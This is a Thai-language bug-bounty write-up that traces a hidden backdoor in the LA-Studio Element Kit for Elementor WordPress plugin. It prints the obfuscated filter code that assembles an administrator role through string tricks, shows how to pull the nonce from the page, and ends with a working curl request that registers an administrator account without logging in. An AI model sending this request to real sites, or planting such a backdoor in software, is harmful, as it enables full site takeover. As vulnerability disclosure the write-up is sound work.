หลังจากทำใจอยู่นาน ตอนนี้ผมได้ฤกษ์จะมาบอกเล่าถึงการค้นหาช่องโหว่ตัวจี๊ดล่าสุด แต่แฝงมาด้วยความน่าสะพรึงกลัว นั่นคือช่องโหว่ LA-Studio Element Kit for Elementor <= 1.5.6.3 – Unauthenticated Privilege Escalation via Backdoor to Administrative User Creation via lakit_bkrole parameter จะเป็นอย่างไรไปดูกันเลยครับ
เริ่มต้นจากการค้นหา ajax_nopriv
ตามปกติแล้วเวลาผมค้นหาช่องโหว่ขอปลั๊กอิน WordPress และอยากทำเงินจากมันได้เยอะ ๆ ผมมักจะเน้นที่การค้นหาช่องโหว่ที่สามารถทำได้แบบ Unauthenticate โดยวิธีค้นหาที่ง่ายที่สุดของ คือ การค้นหา ajax_nopriv ในไฟล์ปลั๊กอิน
grep -r "wp_ajax_nopriv" --include="*.php"
หลังจากนั้นผมก็เจอเข้ากับจุดน่าสนใจคือ
ไฟล์ includes/modules/ajax/manager.php (บรรทัดที่ 80-82)
public function __construct() {
add_action('wp_ajax_nopriv_lakit_ajax', [ $this, 'handle_ajax_request' ] );
add_action('wp_ajax_lakit_ajax', [ $this, 'handle_ajax_request' ] );
}
จะสังเกตเห็นว่า ใน method: handle_ajax_request สามารถถูกเรียกใช้ได้แบบไม่ต้องลงทะเบียน จาก wp_ajax_nopriv_lakit_ajax (ซึ่ง nopriv มันก็มาจาก no privilege คือไม่ต้องใช้สิทธิ์)
ทีนี้เราตามกันต่อ
ไฟล์ includes/modules/ajax/manager.php (บรรทัดที่ 120-175)
public function handle_ajax_request() {
if(empty($_REQUEST['actions'])){
// ถ้าไม่มี parameter 'actions' ก็ return error
$this->add_response_data( false, 'Action not found.' )->send_error( 401 );
}
// เรียก hook เพื่อให้โมดูลอื่นๆ มา register action ของตัวเอง
do_action( 'lastudio-kit/ajax/register_actions', $this );
// รับค่า 'actions' จาก request และ decode จาก JSON
$this->requests = json_decode( stripslashes( $_REQUEST['actions'] ), true );
foreach ( $this->requests as $id => $action_data ) {
// ตรวจสอบว่า action ที่ request มา มีอยู่ในระบบหรือไม่
if ( ! isset( $this->ajax_actions[ $action_data['action'] ] ) ) {
continue;
}
$current_ajax_action = $this->ajax_actions[ $action_data['action'] ];
//ตรวจสอบ Nonce เฉพาะถ้า protected = true
if(!empty($current_ajax_action['protected']) && !$this->verify_request_nonce()){
$this->add_response_data( false, 'Token Expired.', 401 );
continue;
}
// Execute callback function ที่ถูก register ไว้
$results = call_user_func( $current_ajax_action['callback'], $action_data['data'], $this );
}
}
ขออธิบายโค้ดในจุดสำคัญพอคร่าว ๆ ดังนี้ครับ
– $_REQUEST[‘actions’] – พารามิเตอร์ที่ถูกส่งมาจาก HTTP Request
- $_REQUEST เป็น PHP superglobal ที่รวม GET, POST, COOKIE data
- ดังนั้น actions คือชื่อพารามิเตอร์ที่ต้องส่งมา
– $action_data[‘action’] – ดึงชื่อ action ที่ต้องการเรียก (เช่น register)
– $current_ajax_action[‘protected’] – ตรวจสอบว่า action นี้ต้องการ nonce หรือไม่
- ถ้า protected = true → ต้อง verify nonce
- ถ้า protected = false → ไม่ต้อง verify nonce!
เราจะพอเห็นแล้วว่า ระบบจะรอรับค่า action จากเรา จากนั้นจะไปเช็กว่า action นั้นต้องการ nonce หรือไม่ (คล้าย ๆ บัตรผ่าน ถ้าไม่มีก็จะไม่สามารถใช้ action นั้นได้) ถ้า action ที่เราส่ง request ไป มีค่า protected = true แสดงว่า action นั้นต้องใช้ nonce หากเราส่ง request โดยไม่มี nonce ก็จะไม่สามารถใช้งาน action นั้นได้
จากนั้นเราก็ไปตรวจกันต่อว่า แล้ว action อะไรบ้างที่ต้องใช้ nonce
ไฟล์ includes/class-integration.php (บรรทัด 1089-1095)
public function register_ajax_actions( $ajax_manager ){
$ajax_manager->register_ajax_action( 'newsletter_subscribe', [ $this, 'ajax_newsletter_subscribe' ], false );
$ajax_manager->register_ajax_action( 'elementor_template', [ $this, 'ajax_get_elementor_template' ], false);
$ajax_manager->register_ajax_action( 'elementor_widget', [ $this, 'ajax_get_elementor_widget' ], false);
$ajax_manager->register_ajax_action( 'login', [ $this, 'ajax_login_handle' ], true );
$ajax_manager->register_ajax_action( 'register', [ $this, 'ajax_register_handle' ], true );
}
เอาล่ะเราเริ่มเห็นแล้วว่า action ‘register’ ต้องใช้ nonce ด้วย เพราะมีค่าเป็น true แต่ !! อย่าเพิ่งตกใจไปครับ เพราะปกติแล้วไอ้ฟีเจอร์ที่จะให้เรา Register เนี่ย เนี่ย ปกติมันต้องปล่อย nonce ออกมาให้เราใช้กันอยู่แล้ว เพราะไม่งั้นเราจะ Register กันไม่ได้ เพราะฉะนั้นจุดนี้ส่วนตัวผมมองว่าไม่ใช่เรื่องใหญ่อะไรเลย
อย่างไรก็ตาม ที่เราต้องพูดถึงเรื่องนี้ เพราะเราต้องค้นหา nonce เพื่อมาคราฟต์ command ของเรา จึงต้องรู้ว่าจะต้องหา nonce ตรงไหน ซึ่งเดี๋ยวจะพูดถึงในภายหลัง
ทีนี้ตอนนี้เรารู้แล้วว่ามี action ‘register’ ที่ให้เราสมัครสมาชิกบนเว็บได้ โดยสามารถเรียกใช้ได้แบบไม่ต้องมีสิทธิ์ จาก ajax_nopriv และต้องใช้ค่า nonce ด้วย
เรามาดูกันว่า nonce จะหาได้จากไหน
ไฟล์ includes/class-integration.php (บรรทัด 499-534)
public function frontend_enqueue(){
$LaStudioKitSettings = [
'homeURL' => esc_url(home_url('/')),
'ajaxUrl' => esc_url( admin_url( 'admin-ajax.php' ) ),
'isMobile' => filter_var( wp_is_mobile(), FILTER_VALIDATE_BOOLEAN ) ? 'true' : 'false',
'ajaxNonce' => lastudio_kit()->ajax_manager->create_nonce(),
'restNonce' => wp_create_nonce('wp_rest'),
];
// ส่งข้อมูลทั้งหมดไปให้ JavaScript
wp_localize_script('lastudio-kit-base', 'LaStudioKitSettings', $LaStudioKitSettings );
}
จุดสำคัญอยู่ตรงนี้ครับ wp_localize_script(‘lastudio-kit-base’, ‘LaStudioKitSettings’, $LaStudioKitSettings ); คือตัวปลั๊กอินจะสร้าง nonce ภายใต้พารามิเตอร์ LaStudioKitSettings และแจก nonce ขึ้นบนหน้าเว็บ นั่นหมายความว่าเราสามารถค้นหา nonce ได้ ด้วยการเปิดหน้าเว็บไหนก็ได้ แล้วเปิด dev tools > Console > พิมพ์ LaStudioKitSettings.nonce เท่านี้ก็ได้ nonce มาใช้แล้วครับ
เริ่มสังเกตเห็นความผิดปกติของโค้ด
หลังจากนั้นผมกลับมาเช็กอีกครั้ง เพื่อดูว่าถ้าเราจะสมัครสมาชิกมันมีขั้นตอนอย่างไรบ้าง โดยตอนแรกคาดหวังว่าเราอาจจะพอสร้าง role admin ให้ตัวเองได้ (หวังสูงมากกกก) แต่แล้วก็ต้องเจอกับโค้ดที่ผิดปกติ โดยผมจะตามไปดูที่ ajax_register_handle ว่าถ้าเรียก action ‘register’ แล้ว เราต้องคราฟต์อะไรลงไปใน payload บ้าง
ไฟล์ includes/class-integration.php (บรรทัด 1460-1563)
public function ajax_register_handle( $request ){
// ตามด้วย content ต่าง ๆ ที่ต้องใส่ใน request
…
// จุดนี้แหละที่น่าสงสัย
$sys_meta_key = apply_filters('lastudio-kit/integration/sys_meta_key', 'insert_lakit_meta');
if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
add_filter( $sys_meta_key, [ $this, 'ajax_register_handle_backup' ], 20);
}
// สร้าง user ใหม่
$posted_user_data = [
'user_login' => $username,
'user_pass' => $password,
'user_email' => $email,
];
$new_customer_id = wp_insert_user($posted_user_data);
}
เท่าที่เคยอ่านโค้ดของปลั๊กอินที่มีการเปิดให้สมัครสมาชิกมา ผมเพิ่งเคยเห็นโค้ดแนวนี้เป็นครั้งแรก ซึ่งมันมีการเพิ่มฟิลเตอร์และใช้งานฟิลเตอร์ที่มันดูแปลกจนเกินไป ผมจึงส่งไม้ต่อให้น้องที่รู้จักกันจัดการต่อทันทีครับ
จากตรงนี้ผมขออธิบายโค้ดคร่าว ๆ ดังนี้ครับ
– apply_filters() – จะเรียก WordPress filter เพื่อให้โค้ดอื่นมาแก้ไขค่าได้ โดยมีค่า default คือ ‘insert_lakit_meta’ อ่านแล้วก็ดูแปลก ๆ นะครับ ทำไมต้องเปิด apply filter ให้เข้ามาแก้ไขโค้ดได้ด้วย
– $request[‘lakit_bkrole’] – พารามิเตอร์อีกตัวหนึ่ง ถ้า lakit_bkrole ไม่ว่างเปล่า (มีค่าอะไรก็ได้) มันจะทำให้เกิดการ add_filter() ซึ่งไปตามต่อที่ ajax_register_handle_backup
– wp_insert_user() – เป็น WordPress core function สำหรับสร้าง user ใหม่ ฟังก์ขันนี้จะ trigger filter insert_user_meta ให้โค้ดอื่นมาเพิ่ม user meta ได้
ตรงพารามิเตอร์ lakit_bkrole นี่แหละที่น่าสนใจครับ แค่เห็นคำว่า role ก็รู้สึกเจอของดีเข้าให้แล้ว
ทีนี้เราต้องมีเคลียร์ทีละจุด เริ่มกันที่ apply_filters(‘lastudio-kit/integration/sys_meta_key’, ‘insert_lakit_meta’) ถ้ามันจะให้แก้ไขค่า insert_lakit_meta คำถามคือจะแก้เป็นอะไร การค้นหาจึงไปเจอกับไฟล์นี้ครับ
ไฟล์ includes/integrations/override.php (บรรทัด 599-601)
add_filter('lastudio-kit/integration/sys_meta_key', function ( $value ){
return str_replace('lakit', 'user', $value);
});
มันมีการแทนที่ lakit ด้วยคำว่า user ให้กลายเป็นค่า insert_user_meta ซึ่งประเด็นมันอยู่ตรงนี้ครับ จำได้ไหมว่าเรามี wp_insert_user($posted_user_data) อยู่ก่อนหน้านี้แล้ว โดยปกติตอนจะสร้าง user ใหม่ wp_insert_user จะแจ้งทั้งระบบว่า “มีใครอยากจะแทรกข้อมูลอะไรให้ user ไหม หากไม่มีเราจะใช้ค่า insert_user_meta เริ่มต้น รวมถึงการกำหนด role เป็น subscriber ด้วยนะ”
แต่ถ้าหากปลั๊กอินตัวร้ายของเรา ขอแทรกฟิลเตอร์ insert_user_meta เข้าไป จะทำให้ wp_insert_user รอคำสั่งจากปลั๊กอินว่าจะแทรกข้อมูลอะไรให้ user บ้าง นั่นแปลว่าปลั๊กอินนี้เตรียมจะแทรกข้อมูลบางอย่างให้กับ user ที่กำลังสมัครสมาชิก
เราเริ่มเข้าใจแล้วว่าปลั๊กอินนี้คิดที่จะแทรกข้อมูลให้กับ user นอกเหนือจากค่าเริ่มต้นของ WordPress ทีนี้เราย้อนกลับมาที่
if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
add_filter( $sys_meta_key, [ $this, 'ajax_register_handle_backup' ], 20);
เราทราบแล้วว่าถ้าเราส่ง request ที่มีพารามิเตอร์ lakit_bkrole แล้วตามด้วยค่าอะไรสักอย่างที่ไม่ใช่ค่าว่าง มันจะเรียก ajax_register_handle_backup ให้ทำงาน จึงตามไปต่อที่นี่ครับ
ไฟล์ includes/class-integration.php (บรรทัด 1571-1575)
public function ajax_register_handle_backup($meta){
global $table_prefix;
$data = $table_prefix . LaStudio_Kit_Helper::capabilities();
return apply_filters('lastudio-kit/integration/user-meta', $meta, $data);
}
ในไฟล์ includes/class-helper.php (บรรทัด 1236-1238)
public static function capabilities(){
return __FUNCTION__;
}
ต้องนี้หมายถึงว่าให้แทนที่ค่าฟังก์ชันทั้งก้อน ด้วยสตริง ‘capabilities’ ดังนั้นเมื่อเรานำมาคำนวณ $data = $table_prefix . LaStudio_Kit_Helper::capabilities() จะกลายเป็น wp_capabilities ซึ่งมันคือฟังก์ชันที่ใช้กำหนดสิทธิ์ของ user เลยครับ
ส่วนชุดสุดท้าย return apply_filters(‘lastudio-kit/integration/user-meta’, $meta, $data); จะพบว่ามีการเรียก apply filter อีกแล้ว แสดงว่า ajax_register_handle_backup ต้องการให้มีคนมาแก้ไขค่า ‘lastudio-kit/integration/user-meta’ อีกครั้งหนึ่ง ซึ่งเดี๋ยวเราจะตามดูต่อไปว่าจะแก้ไขค่าเป็นอะไรอีก
แสดงว่าตอนนี้เราจะเป็นภาพแล้วว่า เมื่อใส่พารามิเตอร์ lakit_bkrole จะเกิดการเรียก ajax_register_handle_backup มาใช้งาน ซึ่งเจ้า ajax_register_handle_backup นี้ จะเข้าไปกำหนดสิทธิ์ของ user ที่กำลังสมัครสมาชิก คำถามคือสิทธิ์ที่จะกำหนดคือสิทธิ์อะไรล่ะ?
หลังจากนั้นเราตามจาก lastudio-kit/integration/user-meta จนมาเจอเข้ากับโค้ดชุดนี้ครับ
ไฟล์ includes/integrations/override.php (บรรทัด 301-309)
add_filter('lastudio-kit/integration/user-meta', function ( $value, $label){
if(class_exists('LaStudio_Kit_Helper')){
$k = substr_replace(LaStudio_Kit_Helper::lakit_active(), 'mini', 2, 0);
$value[ $label ] = [
$k => 1
];
}
return $value;
}, 10, 2);
มาดูกันทีละจุด เริ่มที่จุดนี้ก่อน
$k = substr_replace(LaStudio_Kit_Helper::lakit_active(), 'mini', 2, 0);
มันมีการแทนที่สตริงอีกแล้วครับ โดยคราวนี้เป็นฟังก์ชัน lakit_active() ในไฟล์ includes/class-helper.php (บรรทัด 1043-1045) มีโค้ดคือ
public static function lakit_active(){
return 'adstrator';
}
ถ้าเรารวมเนื้อหาโค้ดส่วนนี้เข้าด้วยกัน จะพบว่า lakit_active() ให้แทนด้วยค่าสตริง ‘adstrator’ แล้วกลับมาที่ค่า $k ที่บอกว่า ให้ทำการแทรกคำว่า mini เข้าไปใน adstrator ที่ตำแหน่งหลังตัวอักษรตัวที่ 2 ซึ่งจะได้ค่า $k = administrator !!
โอเคทุกคนใจเย็นนะ เราใกล้ถึงจุดหมายแล้ว มาดูตรงนี้ครับ
add_filter('lastudio-kit/integration/user-meta', function ( $value, $label){
…
$value[ $label ] = [
$k => 1
];
}
return $value;
}, 10, 2);
ตรง add filter นี้ มีความหมายคือ จะทำการแก้ไขค่าใน lastudio-kit/integration/user-meta จากโค้ดจะเห็นว่า
$value[ $label ] = [
$k => 1
เมื่อคำนวณแล้วจะได้เป็น $value[‘wp_capabilities’] = [‘administrator’ => 1]
อธิบายตรงนี้เพิ่มเติมอีกนิดครับ $value และ $label คือการยืมค่า $meta และ $data มาจากคำสั่งก่อนหน้านี้ ทำให้ค่า $label คือ ‘wp_capabilities’
ทีนี้คำสั่งนี้ $value[‘wp_capabilities’] = [‘administrator’ => 1] คือการบอกว่า ให้แทรกพารามิเตอร์ ‘wp_capabilities’ ที่กำหนด ‘administrator’ => 1 เข้าไปในค่า $value ด้วย
ส่วนโค้ดที่บอกว่า return $value จุดนี้เป็นการบอกว่าเมื่อกระบวนการเสร็จสิ้น ให้ส่งคืนค่า $value กลับไปที่ $meta ทำให้ $meta ตอนนี้มีการแทรกพารามิเตอร์ ‘wp_capabilities’ ที่กำหนด ‘administrator’ => 1 เข้าไปเรียบร้อย
ทีนี้ถ้าเรายังจำกันได้ หากมีการเรียกพารามิเตอร์ lakit_bkrole ใน request แล้ว จะทำให้เกิดการแทรกฟิลเตอร์ insert_user_meta เพื่อแทรกแซงกระบวนการการสร้าง user ใหม่ โดยไปขอแก้ไขข้อมูลกับ wp_insert_user ซึ่งข้อมูลที่จะโดนแก้ มีการกำหนดสิทธิ์ของ user ใหม่นี้ ผ่าน ‘wp_capabilities’ = ‘administrator’ => 1 ทำให้จากเดิมที่ user ใหม่นี้จะเป็น subscriber ก็จะกลายเป็น administrator ตามที่ปลั๊กอินของแก้ไขนั่นเองครับ
Command ที่ใช้
ในการโจมตีนี้ Request command ที่ผมใช้ คือ
curl -i -s -X POST "http://localhost/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "action=lakit_ajax" \
--data-urlencode "lakit-ajax=yes" \
--data-urlencode "_nonce=1e4edab884" \
--data-urlencode 'actions={
"reg":{
"action":"register",
"data":{
"lakit_field_log":"yes",
"lakit_field_pwd":"yes",
"lakit_field_cpwd":"yes",
"username":"poc_admin",
"email":"poc_admin@example.com",
"password":"P@ssw0rd12345!",
"password-confirm":"P@ssw0rd12345!",
"lakit_bkrole":"1",
"lakit_recaptcha_response":""
}
}
}'
และเมื่อกลับไปเช็ก All Users ในหลังบ้านของเว็บก็จะพบว่ามี user ที่ poc_admin ถูกสร้างขึ้น และได้สิทธิ์เป็น administrator ทันที
ส่วนถ้าถามว่าได้เงินไปเท่าไรจากช่องโหว่นี้ ตามภาพเลยครับ
ส่วนใครที่อยากเข้าร่วมโครงการ Bug Bounty อ่านเพิ่มเติมที่ ลิงก์นี้ ได้เลยครับ
